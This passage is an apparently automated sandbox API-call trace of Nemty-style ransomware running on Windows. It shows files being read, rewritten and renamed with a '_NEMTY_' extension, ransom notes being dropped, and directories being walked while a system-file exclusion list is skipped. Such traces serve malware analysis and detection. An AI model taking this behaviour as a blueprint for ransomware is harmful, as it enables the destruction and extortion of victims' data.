pszString="C2T2YIY9fYSfj0lFqKwLJhRkFhuRfPy+FXeKsLAaSgb+Ax2tClcFN7daRB9gy5+V\r\n7avbqREcGUzzLq5k2MD6osZz0EtuIWUxtC+TA49XccmfDnD8j6wUWtq2mKcfqZRr\r\nSdAwOhNpgwc7oY3dN3wylCNKybeDxUBOVEjxYcMEQETo+JWxAkTKDC0Kpbr5dygp\r\nKAF9Z9mTRF9Ozg1l9BXYSz+tevj3PW4vbt5G5u/Qu3utZRD3MftRNbFHiAKBNpTn\r\nP0IrKHH3+mM7gx/jVz+3y2J0gmKurnckCbmw8yLODG/gjnxRXTW2gRyaRDV1qc61\r\nsaI8UeJXfH4SqhPy1/Mnkw==\r\n", pcchString=0x653ef9c) returned 1 [0169.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0169.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941e0 | out: hHeap=0x4f90000) returned 1 [0169.898] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0169.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0169.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f941e0 [0169.898] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0169.898] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\berime.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0169.899] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=17082) returned 1 [0169.899] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x42b0) returned 0x6351c48 [0169.899] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.899] ReadFile (in: hFile=0x1e8, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x42b0, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6351c48*, lpNumberOfBytesRead=0x653f1e4*=0x42b0, lpOverlapped=0x0) returned 1 [0169.902] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.902] WriteFile (in: hFile=0x1e8, lpBuffer=0x6351c48*, nNumberOfBytesToWrite=0x42b0, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6351c48*, lpNumberOfBytesWritten=0x653f1dc*=0x42b0, lpOverlapped=0x0) returned 1 [0169.902] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0169.902] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=17082, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x42ba [0169.902] WriteFile (in: hFile=0x1e8, lpBuffer=0x4f941e0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x4f941e0*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0169.902] CloseHandle (hObject=0x1e8) returned 1 [0169.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94350 [0169.903] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0169.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0169.903] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0169.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0169.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x6340048 [0169.903] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa6) returned 0x634dc60 [0169.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0169.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.903] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\berime.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Berime.htm._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\berime.htm._nemty_kgobjgd_")) returned 1 [0169.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc60 | out: hHeap=0x4f90000) returned 1 [0169.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94350 | out: hHeap=0x4f90000) returned 1 [0169.903] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0169.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941e0 | out: hHeap=0x4f90000) returned 1 [0169.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0169.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0169.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0169.904] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7ffe6ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Esl", cAlternateFileName="")) returned 1 [0169.904] lstrcmpiW (lpString1="Esl", lpString2=".") returned 1 [0169.904] lstrcmpiW (lpString1="Esl", lpString2="..") returned 1 [0169.904] lstrcmpiW (lpString1="Esl", lpString2="...") returned 1 [0169.904] lstrcmpiW (lpString1="Esl", lpString2="windows") returned -1 [0169.904] lstrcmpiW (lpString1="Esl", lpString2="$RECYCLE.BIN") returned 1 [0169.904] lstrcmpiW (lpString1="Esl", lpString2="rsa") returned -1 [0169.904] lstrcmpiW (lpString1="Esl", lpString2="NTDETECT.COM") returned -1 [0169.904] lstrcmpiW (lpString1="Esl", lpString2="ntldr") returned -1 [0169.904] lstrcmpiW (lpString1="Esl", lpString2="MSDOS.SYS") returned -1 [0169.904] lstrcmpiW (lpString1="Esl", lpString2="IO.SYS") returned -1 [0169.904] lstrcmpiW (lpString1="Esl", lpString2="boot.ini") returned 1 [0169.904] lstrcmpiW (lpString1="Esl", lpString2="boot.ini") returned 1 [0169.904] lstrcmpiW (lpString1="Esl", lpString2="AUTOEXEC.BAT") returned 1 [0169.904] lstrcmpiW (lpString1="Esl", lpString2="ntuser.dat") returned -1 [0169.904] lstrcmpiW (lpString1="Esl", lpString2="desktop.ini") returned 1 [0169.904] lstrcmpiW (lpString1="Esl", lpString2="CONFIG.SYS") returned 1 [0169.904] lstrcmpiW (lpString1="Esl", lpString2="RECYCLER") returned -1 [0169.904] lstrcmpiW (lpString1="Esl", lpString2="BOOTSECT.BAK") returned 1 [0169.904] lstrcmpiW (lpString1="Esl", lpString2="bootmgr") returned 1 [0169.904] lstrcmpiW (lpString1="Esl", lpString2="programdata") returned -1 [0169.904] lstrcmpiW (lpString1="Esl", lpString2="appdata") returned 1 [0169.904] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Esl", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0169.904] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Esl", cchWideChar=3, lpMultiByteStr=0x653f250, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Esl", lpUsedDefaultChar=0x0) returned 3 [0169.904] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Esl", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0169.904] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Esl", cchWideChar=3, lpMultiByteStr=0x653f250, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Esl", lpUsedDefaultChar=0x0) returned 3 [0169.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0169.904] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94168 | out: hHeap=0x4f90000) returned 1 [0169.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0169.904] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0169.904] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0169.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.905] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0169.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94158 [0169.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.905] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f941e0 [0169.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0169.905] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\esl\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0169.905] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941e0 | out: hHeap=0x4f90000) returned 1 [0169.905] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.905] WriteFile (in: hFile=0x1e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0169.906] CloseHandle (hObject=0x1e8) returned 1 [0169.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0169.906] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0169.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0169.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94158 [0169.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f941c0 [0169.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0169.906] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0169.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.906] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0169.906] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94228 [0169.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.907] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f942b0 [0169.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94228 | out: hHeap=0x4f90000) returned 1 [0169.907] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\esl\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0169.907] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0169.907] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.908] WriteFile (in: hFile=0x1e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0169.908] CloseHandle (hObject=0x1e8) returned 1 [0169.908] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0169.909] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0169.909] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f941c0 [0169.909] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Esl\\*.*", lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x18e9e3d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x18e9e3d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a30 [0169.909] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0169.909] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7ffe6ce0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x18e9e3d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x18e9e3d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0169.909] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0169.909] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0169.909] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x19798, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="AiodLite.dll", cAlternateFileName="")) returned 1 [0169.909] lstrcmpiW (lpString1="AiodLite.dll", lpString2=".") returned 1 [0169.909] lstrcmpiW (lpString1="AiodLite.dll", lpString2="..") returned 1 [0169.909] lstrcmpiW (lpString1="AiodLite.dll", lpString2="...") returned 1 [0169.909] lstrcmpiW (lpString1="AiodLite.dll", lpString2="windows") returned -1 [0169.909] lstrcmpiW (lpString1="AiodLite.dll", lpString2="$RECYCLE.BIN") returned 1 [0169.909] lstrcmpiW (lpString1="AiodLite.dll", lpString2="rsa") returned -1 [0169.909] lstrcmpiW (lpString1="AiodLite.dll", lpString2="NTDETECT.COM") returned -1 [0169.909] lstrcmpiW (lpString1="AiodLite.dll", lpString2="ntldr") returned -1 [0169.909] lstrcmpiW (lpString1="AiodLite.dll", lpString2="MSDOS.SYS") returned -1 [0169.909] lstrcmpiW (lpString1="AiodLite.dll", lpString2="IO.SYS") returned -1 [0169.909] lstrcmpiW (lpString1="AiodLite.dll", lpString2="boot.ini") returned -1 [0169.909] lstrcmpiW (lpString1="AiodLite.dll", lpString2="boot.ini") returned -1 [0169.909] lstrcmpiW (lpString1="AiodLite.dll", lpString2="AUTOEXEC.BAT") returned -1 [0169.909] lstrcmpiW (lpString1="AiodLite.dll", lpString2="ntuser.dat") returned -1 [0169.909] lstrcmpiW (lpString1="AiodLite.dll", lpString2="desktop.ini") returned -1 [0169.909] lstrcmpiW (lpString1="AiodLite.dll", lpString2="CONFIG.SYS") returned -1 [0169.909] lstrcmpiW (lpString1="AiodLite.dll", lpString2="RECYCLER") returned -1 [0169.910] lstrcmpiW (lpString1="AiodLite.dll", lpString2="BOOTSECT.BAK") returned -1 [0169.910] lstrcmpiW (lpString1="AiodLite.dll", lpString2="bootmgr") returned -1 [0169.910] lstrcmpiW (lpString1="AiodLite.dll", lpString2="programdata") returned -1 [0169.910] lstrcmpiW (lpString1="AiodLite.dll", lpString2="appdata") returned -1 [0169.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AiodLite.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0169.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AiodLite.dll", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AiodLite.dll", lpUsedDefaultChar=0x0) returned 12 [0169.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AiodLite.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0169.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AiodLite.dll", cchWideChar=12, lpMultiByteStr=0x653ef10, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AiodLite.dll", lpUsedDefaultChar=0x0) returned 12 [0169.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AiodLite.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0169.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AiodLite.dll", cchWideChar=12, lpMultiByteStr=0x653ef60, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AiodLite.dll", lpUsedDefaultChar=0x0) returned 12 [0169.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AiodLite.dll", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0169.910] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AiodLite.dll", cchWideChar=12, lpMultiByteStr=0x653ef98, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AiodLite.dll", lpUsedDefaultChar=0x0) returned 12 [0169.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.910] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94238 [0169.910] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0169.910] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18e9e3d0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x18e9e3d0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x18e9e3d0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0169.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0169.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0169.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0169.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0169.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0169.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0169.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0169.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0169.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0169.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0169.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0169.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0169.910] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0169.911] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.911] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0169.911] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0169.911] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0169.911] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0169.911] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0169.911] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0169.911] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0169.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0169.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0169.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0169.911] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0169.911] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0169.911] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.911] 